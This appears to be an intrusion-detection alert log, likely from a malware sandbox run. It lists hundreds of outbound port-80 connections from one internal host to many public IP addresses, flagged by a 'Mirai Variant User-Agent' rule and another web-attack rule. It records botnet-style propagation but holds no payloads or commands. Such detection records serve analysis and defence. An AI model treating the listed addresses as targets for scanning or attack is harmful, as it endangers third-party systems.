2024-12-03T23:02:48.660213+0100	2030092	1	Web Application Attack	192.168.2.23	45346	2.74.167.133	80	TCP
2024-12-03T23:02:48.660343+0100	2030092	1	Web Application Attack	192.168.2.23	55370	93.231.170.133	80	TCP
2024-12-03T23:02:51.819085+0100	2030092	1	Web Application Attack	192.168.2.23	49838	186.65.123.236	80	TCP
2024-12-03T23:02:52.550818+0100	2030092	1	Web Application Attack	192.168.2.23	41308	66.253.65.118	80	TCP
2024-12-03T23:02:52.582032+0100	2030092	1	Web Application Attack	192.168.2.23	51992	174.66.171.122	80	TCP
2024-12-03T23:02:52.651815+0100	2030092	1	Web Application Attack	192.168.2.23	44550	184.137.226.70	80	TCP
2024-12-03T23:02:52.660153+0100	2030092	1	Web Application Attack	192.168.2.23	56650	210.204.159.192	80	TCP
2024-12-03T23:02:52.669465+0100	2030092	1	Web Application Attack	192.168.2.23	48394	223.73.112.210	80	TCP
2024-12-03T23:02:52.676399+0100	2030092	1	Web Application Attack	192.168.2.23	34166	73.77.117.57	80	TCP
2024-12-03T23:02:52.676627+0100	2030092	1	Web Application Attack	192.168.2.23	56028	173.14.136.45	80	TCP
2024-12-03T23:02:52.676697+0100	2030092	1	Web Application Attack	192.168.2.23	43784	181.201.168.38	80	TCP
2024-12-03T23:02:52.676697+0100	2030092	1	Web Application Attack	192.168.2.23	52960	116.23.243.3	80	TCP
2024-12-03T23:02:52.707091+0100	2030092	1	Web Application Attack	192.168.2.23	35832	43.202.19.50	80	TCP
2024-12-03T23:02:52.707148+0100	2030092	1	Web Application Attack	192.168.2.23	52352	133.66.233.48	80	TCP
2024-12-03T23:02:53.119331+0100	2030092	1	Web Application Attack	192.168.2.23	56432	20.235.150.224	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:02:00.526356+0100	2029034	1	Web Application Attack	192.168.2.23	50942	149.51.174.90	80	TCP
2024-12-03T23:02:03.885751+0100	2029034	1	Web Application Attack	192.168.2.23	33866	72.27.41.155	80	TCP
2024-12-03T23:02:08.576439+0100	2029034	1	Web Application Attack	192.168.2.23	59618	78.83.13.70	80	TCP
2024-12-03T23:02:11.878430+0100	2029034	1	Web Application Attack	192.168.2.23	57192	1.57.198.16	80	TCP
2024-12-03T23:02:11.909341+0100	2029034	1	Web Application Attack	192.168.2.23	49548	144.233.250.218	80	TCP
2024-12-03T23:02:11.962917+0100	2029034	1	Web Application Attack	192.168.2.23	35186	135.15.7.163	80	TCP
2024-12-03T23:02:12.761427+0100	2029034	1	Web Application Attack	192.168.2.23	55322	151.59.53.207	80	TCP
2024-12-03T23:02:12.822012+0100	2029034	1	Web Application Attack	192.168.2.23	41578	184.47.95.238	80	TCP
2024-12-03T23:02:12.837635+0100	2029034	1	Web Application Attack	192.168.2.23	57012	75.244.175.40	80	TCP
2024-12-03T23:02:12.838140+0100	2029034	1	Web Application Attack	192.168.2.23	33014	124.90.254.6	80	TCP
2024-12-03T23:02:12.838142+0100	2029034	1	Web Application Attack	192.168.2.23	48238	92.205.42.249	80	TCP
2024-12-03T23:02:12.853137+0100	2029034	1	Web Application Attack	192.168.2.23	40858	184.220.227.77	80	TCP
2024-12-03T23:02:12.853681+0100	2029034	1	Web Application Attack	192.168.2.23	33264	60.164.109.203	80	TCP
2024-12-03T23:02:12.877983+0100	2029034	1	Web Application Attack	192.168.2.23	54432	158.67.27.131	80	TCP
2024-12-03T23:02:12.884309+0100	2029034	1	Web Application Attack	192.168.2.23	44122	124.180.100.208	80	TCP
2024-12-03T23:02:12.899948+0100	2029034	1	Web Application Attack	192.168.2.23	44190	112.16.175.41	80	TCP
2024-12-03T23:02:12.909349+0100	2029034	1	Web Application Attack	192.168.2.23	57712	212.110.217.75	80	TCP
2024-12-03T23:02:12.909383+0100	2029034	1	Web Application Attack	192.168.2.23	56846	203.53.63.115	80	TCP
2024-12-03T23:02:12.909667+0100	2029034	1	Web Application Attack	192.168.2.23	46592	79.149.81.197	80	TCP
2024-12-03T23:02:12.909761+0100	2029034	1	Web Application Attack	192.168.2.23	37830	165.207.12.117	80	TCP
2024-12-03T23:02:13.931392+0100	2029034	1	Web Application Attack	192.168.2.23	59156	82.120.56.10	80	TCP
2024-12-03T23:02:13.946792+0100	2029034	1	Web Application Attack	192.168.2.23	36418	208.239.12.189	80	TCP
2024-12-03T23:02:13.946881+0100	2029034	1	Web Application Attack	192.168.2.23	43232	164.63.62.180	80	TCP
2024-12-03T23:02:13.978247+0100	2029034	1	Web Application Attack	192.168.2.23	59542	205.244.238.92	80	TCP
2024-12-03T23:02:13.978276+0100	2029034	1	Web Application Attack	192.168.2.23	51932	64.182.50.28	80	TCP
2024-12-03T23:02:13.987428+0100	2029034	1	Web Application Attack	192.168.2.23	45350	143.150.243.101	80	TCP
2024-12-03T23:02:13.987706+0100	2029034	1	Web Application Attack	192.168.2.23	42816	73.36.157.53	80	TCP
2024-12-03T23:02:13.987842+0100	2029034	1	Web Application Attack	192.168.2.23	60278	123.52.192.123	80	TCP
2024-12-03T23:02:13.988011+0100	2029034	1	Web Application Attack	192.168.2.23	42460	146.63.138.246	80	TCP
2024-12-03T23:02:13.988187+0100	2029034	1	Web Application Attack	192.168.2.23	59862	111.235.227.103	80	TCP
2024-12-03T23:02:13.988288+0100	2029034	1	Web Application Attack	192.168.2.23	35854	81.114.132.64	80	TCP
2024-12-03T23:02:14.003444+0100	2029034	1	Web Application Attack	192.168.2.23	59076	177.233.205.201	80	TCP
2024-12-03T23:02:14.039874+0100	2029034	1	Web Application Attack	192.168.2.23	37200	198.53.211.167	80	TCP
2024-12-03T23:02:14.040079+0100	2029034	1	Web Application Attack	192.168.2.23	39438	68.184.62.249	80	TCP
2024-12-03T23:02:14.040205+0100	2029034	1	Web Application Attack	192.168.2.23	53688	50.151.21.8	80	TCP
2024-12-03T23:02:16.915736+0100	2029034	1	Web Application Attack	192.168.2.23	42998	184.145.222.88	80	TCP
2024-12-03T23:02:16.931396+0100	2029034	1	Web Application Attack	192.168.2.23	59660	40.208.105.235	80	TCP
2024-12-03T23:02:16.931589+0100	2029034	1	Web Application Attack	192.168.2.23	38670	57.16.75.18	80	TCP
2024-12-03T23:02:16.962493+0100	2029034	1	Web Application Attack	192.168.2.23	52416	140.3.1.82	80	TCP
2024-12-03T23:02:16.978015+0100	2029034	1	Web Application Attack	192.168.2.23	32814	219.81.41.173	80	TCP
2024-12-03T23:02:17.151827+0100	2029034	1	Web Application Attack	192.168.2.23	60726	61.110.206.21	80	TCP
2024-12-03T23:02:17.174881+0100	2029034	1	Web Application Attack	192.168.2.23	48142	152.212.240.188	80	TCP
2024-12-03T23:02:17.197377+0100	2029034	1	Web Application Attack	192.168.2.23	33208	173.72.159.111	80	TCP
2024-12-03T23:02:17.197580+0100	2029034	1	Web Application Attack	192.168.2.23	54382	198.165.232.52	80	TCP
2024-12-03T23:02:17.197641+0100	2029034	1	Web Application Attack	192.168.2.23	58878	109.62.119.7	80	TCP
2024-12-03T23:02:17.206393+0100	2029034	1	Web Application Attack	192.168.2.23	49510	173.230.32.46	80	TCP
2024-12-03T23:02:17.206500+0100	2029034	1	Web Application Attack	192.168.2.23	50164	102.137.240.134	80	TCP
2024-12-03T23:02:17.237570+0100	2029034	1	Web Application Attack	192.168.2.23	36248	201.125.207.171	80	TCP
2024-12-03T23:02:17.253134+0100	2029034	1	Web Application Attack	192.168.2.23	45998	153.78.233.79	80	TCP
2024-12-03T23:02:17.275064+0100	2029034	1	Web Application Attack	192.168.2.23	35566	78.65.198.150	80	TCP
2024-12-03T23:02:17.290619+0100	2029034	1	Web Application Attack	192.168.2.23	55630	8.255.164.128	80	TCP
2024-12-03T23:02:17.306364+0100	2029034	1	Web Application Attack	192.168.2.23	52372	175.75.70.54	80	TCP
2024-12-03T23:02:17.315466+0100	2029034	1	Web Application Attack	192.168.2.23	48998	176.1.7.9	80	TCP
2024-12-03T23:02:17.315648+0100	2029034	1	Web Application Attack	192.168.2.23	49178	124.224.219.168	80	TCP
2024-12-03T23:02:17.315809+0100	2029034	1	Web Application Attack	192.168.2.23	57802	137.224.169.141	80	TCP
2024-12-03T23:02:17.321804+0100	2029034	1	Web Application Attack	192.168.2.23	54236	208.132.145.179	80	TCP
2024-12-03T23:02:17.331101+0100	2029034	1	Web Application Attack	192.168.2.23	37594	159.108.60.226	80	TCP
2024-12-03T23:02:17.331226+0100	2029034	1	Web Application Attack	192.168.2.23	40114	212.53.111.208	80	TCP
2024-12-03T23:02:17.363064+0100	2029034	1	Web Application Attack	192.168.2.23	35558	85.42.189.137	80	TCP
2024-12-03T23:02:17.363187+0100	2029034	1	Web Application Attack	192.168.2.23	56716	173.230.39.235	80	TCP
2024-12-03T23:02:17.378073+0100	2029034	1	Web Application Attack	192.168.2.23	59728	105.172.5.168	80	TCP
2024-12-03T23:02:18.132988+0100	2029034	1	Web Application Attack	192.168.2.23	45092	163.172.255.118	80	TCP
2024-12-03T23:02:18.185218+0100	2029034	1	Web Application Attack	192.168.2.23	49696	68.152.141.251	80	TCP
2024-12-03T23:02:18.197973+0100	2029034	1	Web Application Attack	192.168.2.23	39326	117.50.49.125	80	TCP
2024-12-03T23:02:18.198194+0100	2029034	1	Web Application Attack	192.168.2.23	34190	25.167.5.214	80	TCP
2024-12-03T23:02:18.198269+0100	2029034	1	Web Application Attack	192.168.2.23	35602	144.147.255.221	80	TCP
2024-12-03T23:02:18.198354+0100	2029034	1	Web Application Attack	192.168.2.23	53000	203.176.98.178	80	TCP
2024-12-03T23:02:18.206712+0100	2029034	1	Web Application Attack	192.168.2.23	45984	141.145.232.229	80	TCP
2024-12-03T23:02:18.206899+0100	2029034	1	Web Application Attack	192.168.2.23	56908	158.79.170.58	80	TCP
2024-12-03T23:02:18.207666+0100	2029034	1	Web Application Attack	192.168.2.23	47508	164.21.186.72	80	TCP
2024-12-03T23:02:18.431348+0100	2029034	1	Web Application Attack	192.168.2.23	38986	223.91.116.75	80	TCP
2024-12-03T23:02:18.456574+0100	2029034	1	Web Application Attack	192.168.2.23	60352	50.162.207.43	80	TCP
2024-12-03T23:02:18.487562+0100	2029034	1	Web Application Attack	192.168.2.23	47664	204.186.97.165	80	TCP
2024-12-03T23:02:18.534336+0100	2029034	1	Web Application Attack	192.168.2.23	53792	72.71.46.23	80	TCP
2024-12-03T23:02:19.207436+0100	2029034	1	Web Application Attack	192.168.2.23	52296	209.173.84.48	80	TCP
2024-12-03T23:02:19.431410+0100	2029034	1	Web Application Attack	192.168.2.23	60336	207.211.198.16	80	TCP
2024-12-03T23:02:19.431575+0100	2029034	1	Web Application Attack	192.168.2.23	35728	206.102.146.57	80	TCP
2024-12-03T23:02:19.450445+0100	2029034	1	Web Application Attack	192.168.2.23	52144	149.156.227.51	80	TCP
2024-12-03T23:02:19.450450+0100	2029034	1	Web Application Attack	192.168.2.23	59710	121.249.204.73	80	TCP
2024-12-03T23:02:19.462673+0100	2029034	1	Web Application Attack	192.168.2.23	46176	173.126.146.75	80	TCP
2024-12-03T23:02:19.478249+0100	2029034	1	Web Application Attack	192.168.2.23	48550	128.223.79.236	80	TCP
2024-12-03T23:02:20.493843+0100	2029034	1	Web Application Attack	192.168.2.23	47650	25.10.197.174	80	TCP
2024-12-03T23:02:20.534868+0100	2029034	1	Web Application Attack	192.168.2.23	34980	217.200.202.101	80	TCP
2024-12-03T23:02:20.535033+0100	2029034	1	Web Application Attack	192.168.2.23	38074	69.189.168.77	80	TCP
2024-12-03T23:02:20.572308+0100	2029034	1	Web Application Attack	192.168.2.23	37732	131.122.230.5	80	TCP
2024-12-03T23:02:20.572342+0100	2029034	1	Web Application Attack	192.168.2.23	34218	174.54.4.5	80	TCP
2024-12-03T23:02:20.597030+0100	2029034	1	Web Application Attack	192.168.2.23	52868	98.112.149.204	80	TCP
2024-12-03T23:02:20.619725+0100	2029034	1	Web Application Attack	192.168.2.23	47178	166.78.173.116	80	TCP
2024-12-03T23:02:20.621014+0100	2029034	1	Web Application Attack	192.168.2.23	56348	170.169.198.71	80	TCP
2024-12-03T23:02:20.675228+0100	2029034	1	Web Application Attack	192.168.2.23	37954	210.121.128.46	80	TCP
2024-12-03T23:02:21.650481+0100	2029034	1	Web Application Attack	192.168.2.23	44554	143.74.7.16	80	TCP
2024-12-03T23:02:21.659546+0100	2029034	1	Web Application Attack	192.168.2.23	56060	13.251.158.65	80	TCP
2024-12-03T23:02:21.675514+0100	2029034	1	Web Application Attack	192.168.2.23	34908	65.92.219.15	80	TCP
2024-12-03T23:02:21.822140+0100	2029034	1	Web Application Attack	192.168.2.23	55196	199.52.65.11	80	TCP
2024-12-03T23:02:21.822342+0100	2029034	1	Web Application Attack	192.168.2.23	36620	207.42.102.162	80	TCP
2024-12-03T23:02:21.831349+0100	2029034	1	Web Application Attack	192.168.2.23	34098	93.111.230.102	80	TCP
2024-12-03T23:02:21.848879+0100	2029034	1	Web Application Attack	192.168.2.23	55102	50.206.223.170	80	TCP
2024-12-03T23:02:21.878154+0100	2029034	1	Web Application Attack	192.168.2.23	40278	176.0.211.143	80	TCP
2024-12-03T23:02:21.878403+0100	2029034	1	Web Application Attack	192.168.2.23	37022	58.165.207.166	80	TCP
2024-12-03T23:02:22.478471+0100	2029034	1	Web Application Attack	192.168.2.23	41306	126.82.92.65	80	TCP
2024-12-03T23:02:22.478574+0100	2029034	1	Web Application Attack	192.168.2.23	51746	60.161.100.78	80	TCP
2024-12-03T23:02:22.494057+0100	2029034	1	Web Application Attack	192.168.2.23	37636	208.48.134.72	80	TCP
2024-12-03T23:02:22.503362+0100	2029034	1	Web Application Attack	192.168.2.23	34032	119.237.14.234	80	TCP
2024-12-03T23:02:22.509479+0100	2029034	1	Web Application Attack	192.168.2.23	53724	49.191.180.50	80	TCP
2024-12-03T23:02:22.518805+0100	2029034	1	Web Application Attack	192.168.2.23	56448	50.215.179.246	80	TCP
2024-12-03T23:02:22.518873+0100	2029034	1	Web Application Attack	192.168.2.23	57236	32.44.232.39	80	TCP
2024-12-03T23:02:22.525108+0100	2029034	1	Web Application Attack	192.168.2.23	44896	155.90.17.170	80	TCP
2024-12-03T23:02:22.534520+0100	2029034	1	Web Application Attack	192.168.2.23	55482	83.106.224.18	80	TCP
2024-12-03T23:02:22.534655+0100	2029034	1	Web Application Attack	192.168.2.23	36026	122.22.64.41	80	TCP
2024-12-03T23:02:22.534738+0100	2029034	1	Web Application Attack	192.168.2.23	54516	110.32.215.184	80	TCP
2024-12-03T23:02:22.744418+0100	2029034	1	Web Application Attack	192.168.2.23	50054	217.215.79.61	80	TCP
2024-12-03T23:02:22.775318+0100	2029034	1	Web Application Attack	192.168.2.23	40634	2.117.9.235	80	TCP
2024-12-03T23:02:22.775554+0100	2029034	1	Web Application Attack	192.168.2.23	58554	133.146.239.25	80	TCP
2024-12-03T23:02:22.784562+0100	2029034	1	Web Application Attack	192.168.2.23	48358	128.79.224.162	80	TCP
2024-12-03T23:02:22.784696+0100	2029034	1	Web Application Attack	192.168.2.23	52108	147.230.188.100	80	TCP
2024-12-03T23:02:22.800107+0100	2029034	1	Web Application Attack	192.168.2.23	32836	208.73.48.66	80	TCP
2024-12-03T23:02:22.822241+0100	2029034	1	Web Application Attack	192.168.2.23	38966	113.124.149.126	80	TCP
2024-12-03T23:02:22.822258+0100	2029034	1	Web Application Attack	192.168.2.23	50560	165.33.196.75	80	TCP
2024-12-03T23:02:22.831194+0100	2029034	1	Web Application Attack	192.168.2.23	34206	199.103.66.44	80	TCP
2024-12-03T23:02:22.831330+0100	2029034	1	Web Application Attack	192.168.2.23	45228	173.121.214.130	80	TCP
2024-12-03T23:02:22.831421+0100	2029034	1	Web Application Attack	192.168.2.23	56662	194.1.252.1	80	TCP
2024-12-03T23:02:22.865032+0100	2029034	1	Web Application Attack	192.168.2.23	42258	78.227.173.202	80	TCP
2024-12-03T23:02:22.884728+0100	2029034	1	Web Application Attack	192.168.2.23	57436	50.205.67.103	80	TCP
2024-12-03T23:02:22.900105+0100	2029034	1	Web Application Attack	192.168.2.23	34550	101.32.81.235	80	TCP
2024-12-03T23:02:22.947321+0100	2029034	1	Web Application Attack	192.168.2.23	51722	192.140.240.27	80	TCP
2024-12-03T23:02:22.956493+0100	2029034	1	Web Application Attack	192.168.2.23	38628	131.249.228.80	80	TCP
2024-12-03T23:02:22.971923+0100	2029034	1	Web Application Attack	192.168.2.23	35456	133.207.20.234	80	TCP
2024-12-03T23:02:22.972078+0100	2029034	1	Web Application Attack	192.168.2.23	59898	223.66.174.24	80	TCP
2024-12-03T23:02:23.697212+0100	2029034	1	Web Application Attack	192.168.2.23	35124	80.159.50.231	80	TCP
2024-12-03T23:02:23.697447+0100	2029034	1	Web Application Attack	192.168.2.23	33260	200.230.245.168	80	TCP
2024-12-03T23:02:23.706395+0100	2029034	1	Web Application Attack	192.168.2.23	43854	131.130.228.105	80	TCP
2024-12-03T23:02:23.759890+0100	2029034	1	Web Application Attack	192.168.2.23	37090	125.167.185.1	80	TCP
2024-12-03T23:02:23.759894+0100	2029034	1	Web Application Attack	192.168.2.23	33554	208.46.118.213	80	TCP
2024-12-03T23:02:23.759904+0100	2029034	1	Web Application Attack	192.168.2.23	48102	210.246.226.218	80	TCP
2024-12-03T23:02:23.775456+0100	2029034	1	Web Application Attack	192.168.2.23	39734	148.179.123.65	80	TCP
2024-12-03T23:02:23.831514+0100	2029034	1	Web Application Attack	192.168.2.23	37570	71.223.65.69	80	TCP
2024-12-03T23:02:23.846928+0100	2029034	1	Web Application Attack	192.168.2.23	50878	97.197.44.174	80	TCP
2024-12-03T23:02:24.776343+0100	2029034	1	Web Application Attack	192.168.2.23	51068	46.102.189.213	80	TCP
2024-12-03T23:02:24.776354+0100	2029034	1	Web Application Attack	192.168.2.23	59326	68.241.111.73	80	TCP
2024-12-03T23:02:24.791765+0100	2029034	1	Web Application Attack	192.168.2.23	59034	91.25.207.212	80	TCP
2024-12-03T23:02:24.806577+0100	2029034	1	Web Application Attack	192.168.2.23	35834	62.81.97.71	80	TCP
2024-12-03T23:02:24.815854+0100	2029034	1	Web Application Attack	192.168.2.23	59008	210.235.160.60	80	TCP
2024-12-03T23:02:24.822167+0100	2029034	1	Web Application Attack	192.168.2.23	33366	168.40.98.66	80	TCP
2024-12-03T23:02:24.822262+0100	2029034	1	Web Application Attack	192.168.2.23	50504	183.72.35.241	80	TCP
2024-12-03T23:02:24.822333+0100	2029034	1	Web Application Attack	192.168.2.23	58652	9.244.198.24	80	TCP
2024-12-03T23:02:24.822439+0100	2029034	1	Web Application Attack	192.168.2.23	36486	207.6.103.73	80	TCP
2024-12-03T23:02:24.822535+0100	2029034	1	Web Application Attack	192.168.2.23	35888	186.91.189.154	80	TCP
2024-12-03T23:02:24.822715+0100	2029034	1	Web Application Attack	192.168.2.23	32976	62.140.60.247	80	TCP
2024-12-03T23:02:24.822846+0100	2029034	1	Web Application Attack	192.168.2.23	55418	194.136.29.129	80	TCP
2024-12-03T23:02:24.823026+0100	2029034	1	Web Application Attack	192.168.2.23	43092	103.233.244.33	80	TCP
2024-12-03T23:02:24.831249+0100	2029034	1	Web Application Attack	192.168.2.23	34780	115.232.232.112	80	TCP
2024-12-03T23:02:24.831424+0100	2029034	1	Web Application Attack	192.168.2.23	45800	67.200.144.191	80	TCP
2024-12-03T23:02:24.831601+0100	2029034	1	Web Application Attack	192.168.2.23	45034	110.127.114.232	80	TCP
2024-12-03T23:02:24.831727+0100	2029034	1	Web Application Attack	192.168.2.23	55562	49.174.199.230	80	TCP
2024-12-03T23:02:24.831858+0100	2029034	1	Web Application Attack	192.168.2.23	60216	77.229.189.177	80	TCP
2024-12-03T23:02:24.837592+0100	2029034	1	Web Application Attack	192.168.2.23	43906	154.12.222.99	80	TCP
2024-12-03T23:02:24.837830+0100	2029034	1	Web Application Attack	192.168.2.23	43944	82.36.75.217	80	TCP
2024-12-03T23:02:24.847149+0100	2029034	1	Web Application Attack	192.168.2.23	36900	166.87.180.30	80	TCP
2024-12-03T23:02:24.947292+0100	2029034	1	Web Application Attack	192.168.2.23	32922	192.71.11.232	80	TCP
2024-12-03T23:02:25.276090+0100	2029034	1	Web Application Attack	192.168.2.23	41108	57.128.103.183	80	TCP
2024-12-03T23:02:25.356075+0100	2029034	1	Web Application Attack	192.168.2.23	56260	187.32.72.153	80	TCP
2024-12-03T23:02:25.931444+0100	2029034	1	Web Application Attack	192.168.2.23	53390	37.38.112.105	80	TCP
2024-12-03T23:02:25.931562+0100	2029034	1	Web Application Attack	192.168.2.23	42038	133.63.128.152	80	TCP
2024-12-03T23:02:25.931849+0100	2029034	1	Web Application Attack	192.168.2.23	49984	172.129.180.89	80	TCP
2024-12-03T23:02:25.931892+0100	2029034	1	Web Application Attack	192.168.2.23	39638	51.202.147.134	80	TCP
2024-12-03T23:02:25.931922+0100	2029034	1	Web Application Attack	192.168.2.23	53282	49.241.24.106	80	TCP
2024-12-03T23:02:25.947650+0100	2029034	1	Web Application Attack	192.168.2.23	46292	211.247.224.211	80	TCP
2024-12-03T23:02:25.947711+0100	2029034	1	Web Application Attack	192.168.2.23	32950	203.233.83.227	80	TCP
2024-12-03T23:02:25.947790+0100	2029034	1	Web Application Attack	192.168.2.23	51518	145.255.225.142	80	TCP
2024-12-03T23:02:25.947941+0100	2029034	1	Web Application Attack	192.168.2.23	43176	73.84.140.190	80	TCP
2024-12-03T23:02:25.947959+0100	2029034	1	Web Application Attack	192.168.2.23	57194	54.125.50.111	80	TCP
2024-12-03T23:02:25.956594+0100	2029034	1	Web Application Attack	192.168.2.23	36198	71.107.70.58	80	TCP
2024-12-03T23:02:25.956691+0100	2029034	1	Web Application Attack	192.168.2.23	54090	177.240.197.158	80	TCP
2024-12-03T23:02:25.956907+0100	2029034	1	Web Application Attack	192.168.2.23	50942	137.150.89.232	80	TCP
2024-12-03T23:02:25.962678+0100	2029034	1	Web Application Attack	192.168.2.23	59728	157.144.82.44	80	TCP
2024-12-03T23:02:25.962765+0100	2029034	1	Web Application Attack	192.168.2.23	56432	126.89.116.149	80	TCP
2024-12-03T23:02:25.972035+0100	2029034	1	Web Application Attack	192.168.2.23	33620	89.128.150.92	80	TCP
2024-12-03T23:02:25.978415+0100	2029034	1	Web Application Attack	192.168.2.23	39054	62.206.122.112	80	TCP
2024-12-03T23:02:25.978544+0100	2029034	1	Web Application Attack	192.168.2.23	46572	77.166.16.193	80	TCP
2024-12-03T23:02:26.003421+0100	2029034	1	Web Application Attack	192.168.2.23	57444	62.205.39.109	80	TCP
2024-12-03T23:02:26.003538+0100	2029034	1	Web Application Attack	192.168.2.23	35468	165.237.166.84	80	TCP
2024-12-03T23:02:26.009593+0100	2029034	1	Web Application Attack	192.168.2.23	41786	70.228.253.240	80	TCP
2024-12-03T23:02:26.018855+0100	2029034	1	Web Application Attack	192.168.2.23	33240	141.175.5.223	80	TCP
2024-12-03T23:02:26.197281+0100	2029034	1	Web Application Attack	192.168.2.23	44038	185.51.90.98	80	TCP
2024-12-03T23:02:26.228604+0100	2029034	1	Web Application Attack	192.168.2.23	60564	174.237.64.88	80	TCP
2024-12-03T23:02:26.228730+0100	2029034	1	Web Application Attack	192.168.2.23	39514	40.10.15.11	80	TCP
2024-12-03T23:02:26.253165+0100	2029034	1	Web Application Attack	192.168.2.23	37248	57.202.180.183	80	TCP
2024-12-03T23:02:26.790884+0100	2029034	1	Web Application Attack	192.168.2.23	53768	191.228.54.53	80	TCP
2024-12-03T23:02:26.806691+0100	2029034	1	Web Application Attack	192.168.2.23	36828	110.44.250.82	80	TCP
2024-12-03T23:02:26.822745+0100	2029034	1	Web Application Attack	192.168.2.23	47880	210.1.89.255	80	TCP
2024-12-03T23:02:26.831922+0100	2029034	1	Web Application Attack	192.168.2.23	56370	196.190.48.126	80	TCP
2024-12-03T23:02:26.832077+0100	2029034	1	Web Application Attack	192.168.2.23	53562	204.240.175.52	80	TCP
2024-12-03T23:02:27.134788+0100	2029034	1	Web Application Attack	192.168.2.23	59386	159.125.18.5	80	TCP
2024-12-03T23:02:27.197385+0100	2029034	1	Web Application Attack	192.168.2.23	55610	90.244.204.62	80	TCP
2024-12-03T23:02:27.197458+0100	2029034	1	Web Application Attack	192.168.2.23	57856	57.249.135.167	80	TCP
2024-12-03T23:02:27.206585+0100	2029034	1	Web Application Attack	192.168.2.23	36856	130.92.189.108	80	TCP
2024-12-03T23:02:27.213008+0100	2029034	1	Web Application Attack	192.168.2.23	45670	88.214.253.30	80	TCP
2024-12-03T23:02:27.253450+0100	2029034	1	Web Application Attack	192.168.2.23	42192	157.75.188.167	80	TCP
2024-12-03T23:02:28.197382+0100	2029034	1	Web Application Attack	192.168.2.23	60562	9.170.53.211	80	TCP
2024-12-03T23:02:28.268927+0100	2029034	1	Web Application Attack	192.168.2.23	54174	99.6.29.125	80	TCP
2024-12-03T23:02:28.275513+0100	2029034	1	Web Application Attack	192.168.2.23	56214	42.101.107.78	80	TCP
2024-12-03T23:02:28.284998+0100	2029034	1	Web Application Attack	192.168.2.23	55298	167.195.228.185	80	TCP
2024-12-03T23:02:28.300212+0100	2029034	1	Web Application Attack	192.168.2.23	41184	58.181.107.131	80	TCP
2024-12-03T23:02:28.322362+0100	2029034	1	Web Application Attack	192.168.2.23	38620	124.240.76.130	80	TCP
2024-12-03T23:02:28.322571+0100	2029034	1	Web Application Attack	192.168.2.23	55216	97.131.151.134	80	TCP
2024-12-03T23:02:28.362878+0100	2029034	1	Web Application Attack	192.168.2.23	40682	146.78.192.102	80	TCP
2024-12-03T23:02:28.369027+0100	2029034	1	Web Application Attack	192.168.2.23	57846	218.160.198.68	80	TCP
2024-12-03T23:02:28.409563+0100	2029034	1	Web Application Attack	192.168.2.23	33040	130.195.228.124	80	TCP
2024-12-03T23:02:28.409695+0100	2029034	1	Web Application Attack	192.168.2.23	55690	212.164.197.45	80	TCP
2024-12-03T23:02:28.763576+0100	2029034	1	Web Application Attack	192.168.2.23	43066	45.203.146.196	80	TCP
2024-12-03T23:02:29.087693+0100	2029034	1	Web Application Attack	192.168.2.23	43062	100.47.39.64	80	TCP
2024-12-03T23:02:29.097175+0100	2029034	1	Web Application Attack	192.168.2.23	53722	43.37.19.66	80	TCP
2024-12-03T23:02:29.119183+0100	2029034	1	Web Application Attack	192.168.2.23	45968	118.88.160.205	80	TCP
2024-12-03T23:02:29.119253+0100	2029034	1	Web Application Attack	192.168.2.23	54416	57.9.56.30	80	TCP
2024-12-03T23:02:29.145017+0100	2029034	1	Web Application Attack	192.168.2.23	46584	195.194.204.145	80	TCP
2024-12-03T23:02:29.158908+0100	2029034	1	Web Application Attack	192.168.2.23	55514	120.51.53.212	80	TCP
2024-12-03T23:02:29.495197+0100	2029034	1	Web Application Attack	192.168.2.23	40606	120.96.167.7	80	TCP
2024-12-03T23:02:29.526313+0100	2029034	1	Web Application Attack	192.168.2.23	50792	220.24.222.247	80	TCP
2024-12-03T23:02:29.526338+0100	2029034	1	Web Application Attack	192.168.2.23	59450	122.191.41.176	80	TCP
2024-12-03T23:02:29.535319+0100	2029034	1	Web Application Attack	192.168.2.23	35442	93.210.77.249	80	TCP
2024-12-03T23:02:29.535483+0100	2029034	1	Web Application Attack	192.168.2.23	46560	47.31.48.95	80	TCP
2024-12-03T23:02:29.566709+0100	2029034	1	Web Application Attack	192.168.2.23	59986	92.182.109.134	80	TCP
2024-12-03T23:02:29.566730+0100	2029034	1	Web Application Attack	192.168.2.23	52042	205.62.181.150	80	TCP
2024-12-03T23:02:30.244257+0100	2029034	1	Web Application Attack	192.168.2.23	36762	181.2.206.154	80	TCP
2024-12-03T23:02:30.244470+0100	2029034	1	Web Application Attack	192.168.2.23	35140	161.104.243.118	80	TCP
2024-12-03T23:02:30.253339+0100	2029034	1	Web Application Attack	192.168.2.23	50694	135.50.4.179	80	TCP
2024-12-03T23:02:30.284813+0100	2029034	1	Web Application Attack	192.168.2.23	38924	208.102.194.80	80	TCP
2024-12-03T23:02:30.284816+0100	2029034	1	Web Application Attack	192.168.2.23	48718	131.216.31.152	80	TCP
2024-12-03T23:02:30.775320+0100	2029034	1	Web Application Attack	192.168.2.23	57744	179.176.136.217	80	TCP
2024-12-03T23:02:30.775420+0100	2029034	1	Web Application Attack	192.168.2.23	41870	178.26.134.87	80	TCP
2024-12-03T23:02:30.816306+0100	2029034	1	Web Application Attack	192.168.2.23	41808	192.62.28.154	80	TCP
2024-12-03T23:02:30.816309+0100	2029034	1	Web Application Attack	192.168.2.23	52688	207.214.255.15	80	TCP
2024-12-03T23:02:30.831402+0100	2029034	1	Web Application Attack	192.168.2.23	45936	208.122.104.129	80	TCP
2024-12-03T23:02:31.384783+0100	2029034	1	Web Application Attack	192.168.2.23	36564	130.15.156.101	80	TCP
2024-12-03T23:02:31.409655+0100	2029034	1	Web Application Attack	192.168.2.23	36694	196.4.107.34	80	TCP
2024-12-03T23:02:31.409841+0100	2029034	1	Web Application Attack	192.168.2.23	43436	173.19.150.145	80	TCP
2024-12-03T23:02:31.431854+0100	2029034	1	Web Application Attack	192.168.2.23	59218	149.144.220.122	80	TCP
2024-12-03T23:02:31.456563+0100	2029034	1	Web Application Attack	192.168.2.23	33606	168.205.155.87	80	TCP
2024-12-03T23:02:31.565866+0100	2029034	1	Web Application Attack	192.168.2.23	55106	61.251.115.95	80	TCP
2024-12-03T23:02:31.565876+0100	2029034	1	Web Application Attack	192.168.2.23	49650	72.104.229.5	80	TCP
2024-12-03T23:02:31.566082+0100	2029034	1	Web Application Attack	192.168.2.23	35586	153.41.160.19	80	TCP
2024-12-03T23:02:31.572314+0100	2029034	1	Web Application Attack	192.168.2.23	40006	197.221.243.186	80	TCP
